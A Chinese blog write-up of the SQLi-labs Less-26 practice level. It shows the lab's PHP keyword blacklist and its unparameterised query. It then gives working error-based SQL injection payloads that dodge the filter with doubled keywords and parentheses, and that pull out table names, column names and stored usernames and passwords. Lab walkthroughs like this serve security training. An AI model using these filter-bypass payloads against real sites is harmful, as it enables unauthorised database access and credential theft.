sqli-labs-Less-26

SQLI-LAPS 实验记录

Less-26

这一关给出的提示信息显示对空格和注释符进行了过滤,但从源码来看,不仅是空格和注释符,还包括'or','and','/'等等,结合上一关的经验,我们保留使用双写绕过的方式,增加以 '()' 来绕过空格的方式进行注入。

php 复制代码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
1' anandd (updatexml(1,concat(0x7e,database(),0x7e),1)) anandd '1'='1

结果如图所示,可以看到页面成功返回数据库名称:security。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找表名:

    php 复制代码
    1' anandd (updatexml(1,(concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e)),1)) anandd '1'='1 
  • 查找列名:

    php 复制代码
    1' anandd (updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)='security'anandd(table_name)='users'),0x7e),1)) anandd '1'='1

    查找其他数据:

    复制代码
    1' anandd (updatexml(1,concat(0x7e,(select(concat(username,':',passwoorrd))from(security.users)where(id=1)),0x7e),1)) anandd '1'='1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
cfm_291418 小时前
Redis五大基本数据结构底层了解
数据结构·数据库·redis
lcreek19 小时前
SQL 注入实战:DVWA Medium完整测试指南
网络安全·sql注入
真实的菜19 小时前
Redis 从入门到精通(十二):典型业务场景实战 —— 排行榜、限流器、秒杀系统、Session 共享
数据库·redis·python
你想考研啊19 小时前
mysql数据库导出导入
数据库·mysql·oracle
十年编程老舅20 小时前
Linux DRM:底层逻辑与实践架构
数据库·mysql
The Sheep 202320 小时前
Vue复习
linux·服务器·数据库
云边有个稻草人20 小时前
深度解析:KingbaseES高可用架构落地原理与生产运维实战
数据库·读写分离·数据库运维·金仓数据库·国产数据库技术·数据备份恢复
满天星830357721 小时前
【Qt】信号和槽(二) (自定义信号和槽)
开发语言·数据库·qt
我不介意孤独1 天前
04-记忆系统为什么向量数据库不够用
数据库·人工智能·资源隔离·agent infra
AOwhisky1 天前
MySQL 学习笔记(第六期):MySQL 备份与恢复
运维·数据库·笔记·学习·mysql·云计算